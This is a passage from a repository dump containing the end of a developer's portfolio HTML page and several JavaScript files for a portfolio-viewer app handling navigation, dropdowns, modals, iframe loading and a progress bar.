<img src=\"res/ava.gif\" alt=\"DosX Avatar\" class=\"avatar\">\n                        </div>\n                    </div>\n                    <div class=\"profile-info\">\n                        <h1 class=\"name\">DosX <span class=\"verified-badge\" title=\"Verified\">\n                                <svg width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\" class=\"verified-icon\">\n                                    <path d=\"M9,16.17 L4.83,12 L3.41,13.41 L9,19 L21,7 L19.59,5.59 L9,16.17 Z\" fill=\"#4361ee\" class=\"verified-path\" />\n                                </svg>\n                            </span></h1>\n                        <p id=\"random-slogan\" class=\"slogan\"></p>\n                        <div class=\"about-bio\">\n                            <p>For a long time I was engaged in the development of conventional software for Windows. At the moment, I've expanded my skills and am already developing websites, desktop programs, server software and various protections for them. <b>I love my job! <img src=\"res/heart-new.svg\" class=\"inline-icon\" alt=\"Heart\"></b></p>\n                            <p>You can view my portfolio below and take a first-hand look at each of the publicly released projects.</p>\n                        </div>\n                    </div>\n                </div>\n            </div>\n            <div class=\"scroll-indicator\" onclick=\"document.querySelector('.contact').scrollIntoView({behavior: 'smooth'})\" style=\"position: absolute; bottom: 80px; left: 50%; transform: translateX(-50%); cursor: pointer; z-index: 10;\">\n                <svg width=\"30\" height=\"20\" viewBox=\"0 0 30 20\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" class=\"scroll-arrow-svg\">\n                    <path d=\"M2 2L15 18L28 2\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                </svg>\n            </div>\n        </section>\n\n        <section class=\"expertise slant-before slant-after\">\n            <div class=\"container\">\n                <h2 class=\"section-title\">Expertise Areas</h2>\n                <div class=\"expertise-grid\">\n                    <div class=\"expertise-row top-row\">\n                        <div class=\"expertise-box\">\n                            <div class=\"expertise-icon\">\n                                <img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxyZWN0IHg9IjIiIHk9IjMiIHdpZHRoPSIyMCIgaGVpZ2h0PSIxNCIgcng9IjIiIHJ5PSIyIj48L3JlY3Q+PGxpbmUgeDE9IjgiIHkxPSIyMSIgeDI9IjE2IiB5Mj0iMjEiPjwvbGluZT48bGluZSB4MT0iMTIiIHkxPSIxNyIgeDI9IjEyIiB5Mj0iMjEiPjwvbGluZT48L3N2Zz4=\" alt=\"GUI Applications\" />\n                            </div>\n                            <h3>GUI Applications</h3>\n                            <p>Interactive applications with intuitive interface and minimalist design</p>\n                        </div>\n\n                        <div class=\"expertise-box\">\n                            <div class=\"expertise-icon\">\n                                <img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwb2x5bGluZSBwb2ludHM9IjE2IDE4IDIyIDEyIDE2IDYiPjwvcG9seWxpbmU+PHBvbHlsaW5lIHBvaW50cz0iOCA2IDIgMTIgOCAxOCI+PC9wb2x5bGluZT48L3N2Zz4=\" alt=\"CLI Programs\" />\n                            </div>\n                            <h3>CLI Programs</h3>\n                            <p>Console utilities with structured output and beautiful color schemes</p>\n                        </div>\n\n                        <div class=\"expertise-box\">\n                            <div class=\"expertise-icon\">\n                                <img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwYXRoIGQ9Ik0yIDNoNmE0IDQgMCAwIDEgNCA0djE0YTMgMyAwIDAgMC0zLTNIMnoiPjwvcGF0aD48cGF0aCBkPSJNMjIgM2gtNmE0IDQgMCAwIDAtNCA0djE0YTMgMyAwIDAgMSAzLTNoN3oiPjwvcGF0aD48L3N2Zz4=\" alt=\"Libraries for Developers\" />\n                            </div>\n                            <h3>Libraries for Developers</h3>\n                            <p>Helpful libraries for system programming, web development and UIs</p>\n                        </div>\n                    </div>\n\n                    <div class=\"expertise-row bottom-row\">\n                        <div class=\"expertise-box\">\n                            <div class=\"expertise-icon\">\n                                <img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxyZWN0IHg9IjMiIHk9IjExIiB3aWR0aD0iMTgiIGhlaWdodD0iMTEiIHJ4PSIyIiByeT0iMiI+PC9yZWN0PjxwYXRoIGQ9Ik03IDExVjdhNSA1IDAgMCAxIDEwIDB2NCI+PC9wYXRoPjwvc3ZnPg==\" alt=\"Software Protection\" />\n                            </div>\n                            <h3>Software Protection</h3>\n                            <p>Website protection and DRM solutions for intellectual property</p>\n                        </div>\n\n                        <div class=\"expertise-box\">\n                            <div class=\"expertise-icon\">\n                                <img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9ImN1cnJlbnRDb2xvciIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPjxwYXRoIGQ9Ik0xNCAySDZhMiAyIDAgMCAwLTIgMnYxNmEyIDIgMCAwIDAgMiAyaDEyYTIgMiAwIDAgMCAyLTJWOHoiPjwvcGF0aD48cG9seWxpbmUgcG9pbnRzPSIxNCAyIDE0IDggMjAgOCI+PC9wb2x5bGluZT48bGluZSB4MT0iMTYiIHkxPSIxMyIgeDI9IjgiIHkyPSIxMyI+PC9saW5lPjxsaW5lIHgxPSIxNiIgeTE9IjE3IiB4Mj0iOCIgeTI9IjE3Ij48L2xpbmU+PHBvbHlsaW5lIHBvaW50cz0iMTAgOSA5IDkgOCA5Ij48L3BvbHlsaW5lPjwvc3ZnPg==\" alt=\"PE Signature Analysis\" />\n                            </div>\n                            <h3>PE Signature Analysis</h3>\n                            <p>Heuristic analyzers for identifying protection mechanisms</p>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </section>\n\n        <section class=\"contact slant-before slant-after\">\n            <div class=\"container\">\n                <h2 class=\"section-title\">Contact Me</h2>\n                <div class=\"contact-grid\">\n                    <div class=\"contact-item\">\n                        <div class=\"contact-icon\">\n                            <img src=\"res/mail-new.svg\" alt=\"Email\">\n                        </div>\n                        <div class=\"contact-info\">\n                            <h3>Email</h3>\n                            <a href=\"\" id=\"mail\" class=\"contact-link\"></a>\n                        </div>\n                    </div>\n\n                    <div class=\"contact-item\">\n                        <div class=\"contact-icon\">\n                            <img src=\"res/telegram-new.svg\" alt=\"Telegram\">\n                        </div>\n                        <div class=\"contact-info\">\n                            <h3>Telegram</h3>\n                            <a href=\"https://t.me/DosX_dev\" class=\"contact-link\">@DosX_dev</a>\n                        </div>\n                    </div>\n\n                    <div class=\"contact-item\">\n                        <div class=\"contact-icon\">\n                            <img src=\"res/github-new.svg\" alt=\"GitHub\" class=\"light-only\">\n                            <img src=\"res/github-light.svg\" alt=\"GitHub\" class=\"dark-only\">\n                        </div>\n                        <div class=\"contact-info\">\n                            <h3>GitHub</h3>\n                            <a href=\"https://github.com/DosX-dev\" class=\"contact-link\">@DosX-dev</a>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </section>\n\n        <section class=\"projects slant-before\">\n            <div class=\"container\">\n                <h2 class=\"section-title\">Projects & Repositories</h2>\n\n                <div class=\"filters-container\">\n                    <div class=\"search-container\">\n                        <input type=\"text\" id=\"search-input\" class=\"search-input\" placeholder=\"Search repositories...\">\n                    </div>\n                    <div class=\"sort-container\" style=\"border: 1px solid rgba(100, 130, 200, 0.3); background-color: transparent; box-shadow: none; border-radius: 8px;\">\n                        <label style=\"font-weight: 600;\">Sort by:</label>\n                        <div class=\"custom-select\">\n                            <div class=\"select-selected\" id=\"sort-selected\">Stars (high to low)</div>\n                            <div class=\"select-items select-hide\">\n                                <div data-value=\"stars\" class=\"select-option select-active\">Stars (high to low)</div>\n                                <div data-value=\"stars-asc\" class=\"select-option\">Stars (low to high)</div>\n                                <div data-value=\"forks\" class=\"select-option\">Forks (high to low)</div>\n                                <div data-value=\"forks-asc\" class=\"select-option\">Forks (low to high)</div>\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"category-filters\">\n                        <button class=\"category-filter active\" data-category=\"all\" style=\"font-weight: 800 !important;\">\n                            <svg width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n                                <path d=\"M8 6H21M8 12H21M8 18H21M3 6H3.01M3 12H3.01M3 18H3.01\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" />\n                            </svg>\n                            All\n                        </button>\n                        <button class=\"category-filter\" data-category=\"game\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/game-new.svg\" alt=\"Game\" class=\"category-icon\">\n                            Games\n                        </button>\n                        <button class=\"category-filter\" data-category=\"malware\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/virus-new.svg\" alt=\"Security\" class=\"category-icon\">\n                            Security\n                        </button>\n                        <button class=\"category-filter\" data-category=\"web\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/web-new.svg\" alt=\"Web\" class=\"category-icon\">\n                            Web\n                        </button>\n                        <button class=\"category-filter\" data-category=\"learning\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/learn-new.svg\" alt=\"Learning\" class=\"category-icon\">\n                            Learning\n                        </button>\n                        <button class=\"category-filter\" data-category=\"optimizer\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/leaf-new.svg\" alt=\"Optimizers\" class=\"category-icon\">\n                            Optimizers\n                        </button>\n                        <button class=\"category-filter\" data-category=\"database\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/database-new.svg\" alt=\"Data Tools\" class=\"category-icon\">\n                            Data Tools\n                        </button>\n                        <button class=\"category-filter\" data-category=\"protection\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/shield-new.svg\" alt=\"Protections\" class=\"category-icon\">\n                            Protections\n                        </button>\n                        <button class=\"category-filter\" data-category=\"library\" style=\"font-weight: 800 !important;\">\n                            <img src=\"res/sdk-new.svg\" alt=\"Libraries\" class=\"category-icon\">\n                            Libraries\n                        </button>\n                    </div>\n                </div>\n\n                <div id=\"loading\" class=\"loading-container\">\n                    <div class=\"loading-spinner\"></div>\n                    <p>Loading repositories...</p>\n                </div>\n                <div id=\"repositories\" class=\"projects-grid\"></div>\n            </div>\n        </section>\n\n        <section class=\"fingerprint-section\">\n            <div class=\"container\">\n                <h2 class=\"section-title\">It's You</h2>\n                <div class=\"fingerprint-container\">\n                    <div class=\"fingerprint-header\">\n                        <div class=\"fingerprint-title\">\n                            <img src=\"res/windows-icon.svg\" alt=\"Windows\" class=\"windows-icon\">\n                            C:\\fingerprint.exe\n                        </div>\n                        <div class=\"window-controls\">\n                            <span class=\"window-control minimize\"></span>\n                            <span class=\"window-control maximize\"></span>\n                            <span class=\"window-control close\"></span>\n                        </div>\n                    </div>\n                    <div class=\"fingerprint-window\">\n                        <div class=\"fingerprint-toolbar\">\n                            <div class=\"toolbar-button active\">Overview</div>\n                            <div class=\"toolbar-button\">Browser</div>\n                            <div class=\"toolbar-button\">System</div>\n                        </div>\n                        <div class=\"fingerprint-content\">\n                            <div id=\"fingerprint-output\">\n                                <div class=\"loading-scanner\">\n                                    <div class=\"scanner-animation\"></div>\n                                    <div class=\"scanner-text\">Scanning your device...</div>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </section>\n    </main>\n\n    <footer>\n        <div class=\"container\">\n            <p>&copy; DosX, <span id=\"year\"></span>. All rights reserved. The information on this site is provided «as is» and is for informational purposes only.</p>\n        </div>\n    </footer>\n\n    <script src=\"app.js\"></script>\n    <script src=\"app.fingerprint.js\"></script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/app/code/app.toolbox.events.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/app.toolbox.events.js\n   — Глобальные события: клавиатура, ресайз, тултипы\n   ──────────────────────────────────────────────── */\n\n/* ── Закрытие дропдауна при переходе фокуса в iframe ── */\nwindow.addEventListener('blur', () => {\n    if (App.UI.dropdownEl.classList.contains('open')) closeDropdown();\n});\n\n/* ── Клавиатурная навигация (← →) ── */\ndocument.addEventListener('keydown', e => {\n    if (e.target.tagName === 'SELECT' || e.target.tagName === 'INPUT') return;\n    if (e.key === 'ArrowLeft') navigate(-1);\n    if (e.key === 'ArrowRight') navigate(1);\n});\n\n/* ── Пересчёт геометрии phone-режима при ресайзе/зуме ── */\nwindow.addEventListener('resize', () => {\n    if (!document.body.classList.contains('phone-preview')) return;\n    if (window.innerWidth < 900) {\n        document.body.classList.remove('phone-preview');\n        App.UI.phoneToggle.classList.remove('active');\n        localStorage.setItem('app.viewer.mobileMode', 'false');\n        clearFramePhoneStyles();\n    } else {\n        applyPhoneFormat();\n    }\n});\n\n/* ── Кастомные тултипы ── */\n(function () {\n    const tip = document.getElementById('tip');\n    const margin = 8;\n\n    function show(el) {\n        tip.textContent = el.dataset.tip;\n        tip.classList.add('visible');\n        const rect = el.getBoundingClientRect();\n        const cx = rect.left + rect.width / 2;\n        tip.style.top = (rect.bottom + 10) + 'px';\n        tip.style.left = cx + 'px';\n        const tw = tip.offsetWidth;\n        tip.style.left = Math.min(\n            Math.max(cx, margin + tw / 2),\n            window.innerWidth - margin - tw / 2\n        ) + 'px';\n    }\n\n    function hide() { tip.classList.remove('visible'); }\n\n    document.querySelectorAll('[data-tip]').forEach(el => {\n        el.addEventListener('mouseenter', () => show(el));\n        el.addEventListener('mouseleave', hide);\n        el.addEventListener('mousedown', hide);\n    });\n})();\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/app.toolbox.modal.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/app.toolbox.modal.js\n   — Модальное окно действий, копирование, свайп\n   ──────────────────────────────────────────────── */\n\nfunction copyLink() {\n    navigator.clipboard.writeText(location.href).then(() => {\n        clearTimeout(App.state.copyTimer);\n        App.UI.copyBtn.classList.add('copied');\n        App.UI.amCopyBtn.classList.add('copied');\n        App.state.copyTimer = setTimeout(() => {\n            App.UI.copyBtn.classList.remove('copied');\n            App.UI.amCopyBtn.classList.remove('copied');\n            closeActionsModal();\n        }, 1600);\n    });\n}\n\nfunction openActionsModal() {\n    document.getElementById('actions-modal').classList.add('open');\n}\n\nfunction closeActionsModal() {\n    document.getElementById('actions-modal').classList.remove('open');\n}\n\n/* ── Свайп вниз для закрытия шторки ── */\n(function () {\n    const sheet = document.querySelector('.am-sheet');\n    if (!sheet) return;\n\n    const THRESHOLD = 80;  // px — минимум для закрытия\n    const VELOCITY = 0.4; // px/ms — закрыть по скорости даже при малом сдвиге\n\n    let startY = 0, lastY = 0, lastT = 0, dragging = false;\n\n    sheet.addEventListener('touchstart', e => {\n        // Разрешаем свайп только если контент шторки в самом верху\n        if (sheet.scrollTop > 0) return;\n        startY = e.touches[0].clientY;\n        lastY = startY;\n        lastT = Date.now();\n        dragging = true;\n        sheet.style.transition = 'none';\n    }, { passive: true });\n\n    sheet.addEventListener('touchmove', e => {\n        if (!dragging) return;\n        const dy = e.touches[0].clientY - startY;\n        if (dy < 0) { sheet.style.transform = ''; return; } // вверх — не трогаем\n        sheet.style.transform = `translateY(${dy}px)`;\n        lastY = e.touches[0].clientY;\n        lastT = Date.now();\n    }, { passive: true });\n\n    sheet.addEventListener('touchend', () => {\n        if (!dragging) return;\n        dragging = false;\n        sheet.style.transition = '';\n\n        const dy = lastY - startY;\n        const velocity = dy / Math.max(Date.now() - lastT, 1);\n\n        if (dy >= THRESHOLD || velocity >= VELOCITY) {\n            // Закрываем: сдвигаем вниз анимацией CSS, затем убираем класс\n            sheet.style.transform = `translateY(100%)`;\n            sheet.addEventListener('transitionend', () => {\n                sheet.style.transform = '';\n                closeActionsModal();\n            }, { once: true });\n        } else {\n            // Возвращаем на место\n            sheet.style.transform = '';\n        }\n    });\n})();\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/app.toolbox.navigation.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/app.toolbox.navigation.js\n   — Загрузка сайтов, навигация, дропдаун\n   ──────────────────────────────────────────────── */\n\nfunction loadSite(index) {\n    if (index < 0 || index >= TANDEM_SITES.length) return;\n\n    App.state.currentIndex = index;\n    const site = TANDEM_SITES[index];\n    const isHome = site.id === 0;\n\n    syncUrl(site.id);\n\n    // Прогресс\n    App.UI.loader.classList.remove('hidden');\n    startProgress();\n\n    // Анимация смены заголовка\n    triggerInfoAnimation(() => {\n        App.UI.titleEl.textContent = site.title;\n        App.UI.descEl.textContent = site.description;\n        const nonHomePos = TANDEM_SITES.filter((s, i) => s.id !== 0 && i <= index).length;\n        const nonHomeTotal = TANDEM_SITES.filter(s => s.id !== 0).length;\n        App.UI.counterEl.textContent = `${nonHomePos} / ${nonHomeTotal}`;\n    });\n\n    // Кнопки навигации\n    App.UI.btnPrev.disabled = (index === 0);\n    App.UI.btnNext.disabled = (index === TANDEM_SITES.length - 1);\n\n    // Кнопки действий — недоступны на главной\n    App.UI.openBtn.classList.toggle('disabled', isHome);\n    App.UI.copyBtn.classList.toggle('disabled', isHome);\n    App.UI.phoneToggle.classList.toggle('disabled', isHome);\n    App.UI.counterEl.style.display = isHome ? 'none' : '';\n\n    if (/^https?:\\/\\//i.test(site.path)) {\n        App.UI.openBtn.href = site.path;\n    } else if (site.id !== undefined && site.id > 0) {\n        App.UI.openBtn.href = 'no-toolbox-viewer/?render-mode=fullscreen&project-id=' + site.id;\n    } else {\n        const m = site.path.match(/works\\/([^\\/]+)\\//);\n        App.UI.openBtn.href = m ? 'no-toolbox-viewer/?render-mode=fullscreen&project-name=' + m[1] : site.path;\n    }\n\n    // Синхронизация мобильного модала\n    App.UI.amOpenBtn.href = App.UI.openBtn.href;\n    App.UI.amOpenBtn.classList.toggle('am-action--disabled', isHome);\n    App.UI.amCopyBtn.classList.toggle('am-action--disabled', isHome);\n    App.UI.amSiteName.textContent = site.title;\n\n    // Phone-режим: отключаем на главной, восстанавливаем при уходе с неё\n    if (isHome) {\n        App.state.phonePrevWasActive = document.body.classList.contains('phone-preview');\n        if (App.state.phonePrevWasActive) {\n            document.body.classList.remove('phone-preview');\n            App.UI.phoneToggle.classList.remove('active');\n            clearFramePhoneStyles();\n        }\n    } else if (App.state.phonePrevWasActive) {\n        document.body.classList.add('phone-preview');\n        App.UI.phoneToggle.classList.add('active');\n        App.state.phonePrevWasActive = false;\n        applyPhoneFormat();\n    }\n\n    updateDropdownState(index);\n    reloadFrame(site.path);\n}\n\nfunction navigate(direction) {\n    const next = App.state.currentIndex + direction;\n    if (next >= 0 && next < TANDEM_SITES.length) loadSite(next);\n}\n\nfunction selectSite(idx) {\n    loadSite(parseInt(idx, 10));\n}\n\nfunction syncUrl(siteId) {\n    const url = new URL(location.href);\n    siteId === 0\n        ? url.searchParams.delete('project-id')\n        : url.searchParams.set('project-id', siteId);\n    history.replaceState(null, '', url);\n}\n\nfunction triggerInfoAnimation(cb) {\n    App.UI.infoBlock.classList.remove('info-animate');\n    cb();\n    void App.UI.infoBlock.offsetWidth;\n    App.UI.infoBlock.classList.add('info-animate');\n}\n\n/* ─── Дропдаун ─── */\nfunction toggleDropdown() {\n    const trigger = document.getElementById('select-trigger');\n    App.UI.dropdownEl.classList.toggle('open');\n    trigger.classList.toggle('active');\n}\n\nfunction closeDropdown() {\n    const trigger = document.getElementById('select-trigger');\n    App.UI.dropdownEl.classList.remove('open');\n    trigger.classList.remove('active');\n}\n\nfunction updateDropdownState(index) {\n    App.UI.selectLabel.textContent = TANDEM_SITES[index].title;\n    document.querySelectorAll('.dropdown-item').forEach((el, i) =>\n        el.classList.toggle('active', i === index));\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/app.viewer.init.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/app.viewer.init.js\n   — Инициализация приложения\n   ──────────────────────────────────────────────── */\n\nfunction init() {\n    if (!TANDEM_SITES || TANDEM_SITES.length === 0) {\n        App.UI.titleEl.textContent = 'Нет добавленных проектов';\n        App.UI.descEl.textContent = 'База данных пуста.';\n        App.UI.loader.classList.add('hidden');\n        return;\n    }\n\n    // Функция экранирования\n    function escapeHtml(str) {\n        return String(str)\n            .replace(/&/g, '&amp;')\n            .replace(/</g, '&lt;')\n            .replace(/>/g, '&gt;')\n            .replace(/\"/g, '&quot;')\n            .replace(/'/g, '&#39;');\n    }\n\n    // Строим кастомный дропдаун\n    TANDEM_SITES.forEach((site, idx) => {\n        const item = document.createElement('div'), escapedTitle = escapeHtml(site.title), escapedDesc = escapeHtml(site.description);\n        item.className = 'dropdown-item';\n        item.dataset.idx = idx;\n        item.innerHTML = `\n      ${site.id > 0\n                ? `<span class=\"di-num\">${site.id}</span>`\n                : '<span class=\"di-num di-num--home\"><svg xmlns=\"http://www.w3.org/2000/svg\" width=\"13\" height=\"13\" viewBox=\"0 0 24 24\" fill=\"currentColor\"><path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\"/></svg></span>'}\n      <div class=\"di-text\">\n        <span class=\"di-title\">${escapedTitle}</span>\n        <span class=\"di-desc\">${escapedDesc}</span>\n      </div>\n    `;\n        item.addEventListener('click', () => {\n            closeDropdown();\n            selectSite(idx);\n        });\n        App.UI.dropdownEl.appendChild(item);\n    });\n\n    // Закрываем дропдаун при клике вне него\n    document.addEventListener('click', e => {\n        if (!App.UI.selectWrap.contains(e.target)) closeDropdown();\n    });\n\n    // Блокируем действия на неактивных кнопках\n    App.UI.openBtn.addEventListener('click', e => { if (App.UI.openBtn.classList.contains('disabled')) e.preventDefault(); });\n    App.UI.copyBtn.addEventListener('click', () => { if (!App.UI.copyBtn.classList.contains('disabled')) copyLink(); });\n    App.UI.phoneToggle.addEventListener('click', () => { if (!App.UI.phoneToggle.classList.contains('disabled')) togglePhonePreview(); });\n\n    // Мобильное модальное окно действий\n    App.UI.mobileActionsBtn.addEventListener('click', openActionsModal);\n    App.UI.amCopyBtn.addEventListener('click', () => { if (!App.UI.amCopyBtn.classList.contains('am-action--disabled')) copyLink(); });\n    App.UI.amOpenBtn.addEventListener('click', e => {\n        if (App.UI.amOpenBtn.classList.contains('am-action--disabled')) e.preventDefault();\n        else closeActionsModal();\n    });\n\n    // Восстанавливаем формат и инициализируем боковые панели\n    const savedFormat = localStorage.getItem('app.viewer.format');\n    if (savedFormat && PHONE_FORMATS.some(f => f.id === savedFormat)) App.state.currentFormatId = savedFormat;\n    initPhonePanels();\n\n    // Восстанавливаем phone-режим из localStorage\n    if (localStorage.getItem('app.viewer.mobileMode') === 'true') {\n        if (window.innerWidth >= 900) {\n            document.body.classList.add('phone-preview');\n            App.UI.phoneToggle.classList.add('active');\n            applyPhoneFormat();\n        } else {\n            localStorage.setItem('app.viewer.mobileMode', 'false');\n        }\n    }\n\n    // Читаем project-id из URL и открываем нужный сайт\n    const urlId = new URLSearchParams(location.search).get('project-id');\n    const foundIdx = urlId !== null ? TANDEM_SITES.findIndex(s => s.id === parseInt(urlId, 10)) : -1;\n    const startIdx = foundIdx !== -1 ? foundIdx : 0;\n    loadSite(Math.max(0, startIdx));\n}\n\n/* ── Запуск ── */\ninit();\n\n/* ── Плавное появление панели после загрузки шрифтов ── */\ndocument.fonts.ready.then(() => {\n    const panelEl = document.getElementById('panel');\n    panelEl.style.opacity = '';\n    panelEl.classList.add('panel--ready');\n});\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/app.viewer.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/app.viewer.js\n   — Глобальное состояние, DOM-ссылки, утилиты\n   ──────────────────────────────────────────────── */\n\n/* ── Пространство имён приложения ── */\nconst App = {\n    /* Мутабельное состояние */\n    state: {\n        currentIndex: 0,\n        currentProgress: 0,\n        progressTimer: null,\n        isRealLoad: false,\n        phonePrevWasActive: false,\n        onFrameLoadCallback: null, // вызывается один раз после следующей реальной загрузки\n        currentFormatId: 'std',\n        copyTimer: null,\n    },\n\n    /* DOM-элементы */\n    UI: {\n        frame: document.getElementById('viewer-frame'),\n        loader: document.getElementById('loader'),\n        progressBar: document.getElementById('progress-bar'),\n        loaderLabel: document.getElementById('loader-label'),\n        titleEl: document.getElementById('site-title'),\n        descEl: document.getElementById('site-description'),\n        counterEl: document.getElementById('site-counter'),\n        openBtn: document.getElementById('open-btn'),\n        copyBtn: document.getElementById('copy-btn'),\n        phoneToggle: document.getElementById('phone-toggle'),\n        btnPrev: document.getElementById('btn-prev'),\n        btnNext: document.getElementById('btn-next'),\n        infoBlock: document.getElementById('site-info'),\n        dropdownEl: document.getElementById('site-dropdown'),\n        selectLabel: document.getElementById('select-label'),\n        selectWrap: document.getElementById('site-select-wrap'),\n        ppLeft: document.getElementById('pp-left'),\n        ppRight: document.getElementById('pp-right'),\n        mobileActionsBtn: document.getElementById('mobile-actions-btn'),\n        amOpenBtn: document.getElementById('am-open-btn'),\n        amCopyBtn: document.getElementById('am-copy-btn'),\n        amSiteName: document.getElementById('am-site-name'),\n    },\n};\n\n/* ── Утилиты ── */\n\n/** Высота панели из CSS-переменной */\nfunction getPanelH() {\n    return parseInt(getComputedStyle(document.documentElement)\n        .getPropertyValue('--panel-h')) || 64;\n}\n\n/** Сброс инлайн-стилей геометрии iframe (выход из phone-режима) */\nfunction clearFramePhoneStyles() {\n    App.UI.frame.style.width = '';\n    App.UI.frame.style.height = '';\n    App.UI.frame.style.transform = '';\n    App.UI.frame.style.transformOrigin = '';\n    App.UI.frame.style.left = '';\n    App.UI.frame.style.top = '';\n    App.UI.frame.style.bottom = '';\n}\n\n/**\n * Мгновенно скрыть iframe без transition-мигания,\n * затем через двойной rAF сменить src и начать реальную загрузку.\n */\nfunction reloadFrame(src) {\n    App.UI.frame.style.transition = 'none';\n    App.UI.frame.classList.add('loading');\n    void App.UI.frame.offsetWidth;\n    App.UI.frame.style.transition = '';\n    App.state.isRealLoad = false;\n    App.UI.frame.src = '';\n    requestAnimationFrame(() => {\n        requestAnimationFrame(() => {\n            App.state.isRealLoad = true;\n            App.UI.frame.src = src;\n        });\n    });\n}\n\n/** Единый масштаб для phone-режима (не зависит от зума браузера) */\nfunction calcPhoneScale() {\n    const availH = window.innerHeight - getPanelH() - 48;\n    const REF = 926; // самый высокий формат (Plus / Max)\n    return Math.min(\n        (window.screen.availHeight * 0.72) / REF, // стабильная база — физический экран\n        (availH * 0.98) / REF                     // страховочный потолок по вьюпорту\n    );\n}\n"
  },
  {
    "path": "legacy_tandem/viewer/app/code/app.viewer.loader.js",
    "content": "/* ────────────────────────────────────────────────\n   Tandem Portfolio Viewer — Engine v1.0\n   app/code/app.viewer.loader.js\n   — Прогрессбар и обработка загрузки контейнера\n   ──────────────────────────────────────────────── */\n\nfunction startProgress() {\n    App.state.currentProgress = 0;\n    clearInterval(App.state.progressTimer);\n    App.UI.progressBar.style.transition = 'none';\n    App.UI.progressBar.style.width = '0%';\n    App.UI.loaderLabel.textContent = 'Загрузка ресурсов...';\n    void App.UI.progressBar.offsetWidth;\n\n    App.state.progressTimer = setInterval(() => {\n        const rem = 88 - App.state.currentProgress;\n        App.state.currentProgress = Math.min(88, App.state.currentProgress + Math.max(0.4, rem * 0.09));\n        App.UI.progressBar.style.transition = 'width 0.35s ease';\n        App.UI.progressBar.style.width = App.state.currentProgress + '%';\n        if (App.state.currentProgress >= 88) clearInterval(App.state.progressTimer);\n    }, 280);\n}\n\nfunction finishProgress() {\n    clearInterval(App.state.progressTimer);\n    App.UI.progressBar.style.transition = 'width 0.22s ease';\n    App.UI.progressBar.style.width = '100%';\n    App.UI.loaderLabel.textContent = 'Подготовка контента...';\n    setTimeout(() => {\n        App.UI.loader.classList.add('hidden');\n        App.UI.frame.classList.remove('loading');\n        setTimeout(() => {\n            App.UI.progressBar.style.transition = 'none';\n            App.UI.progressBar.style.width = '0%';\n        }, 350);\n    }, 220);\n}\n\n/* ── Событие загрузки iframe ── 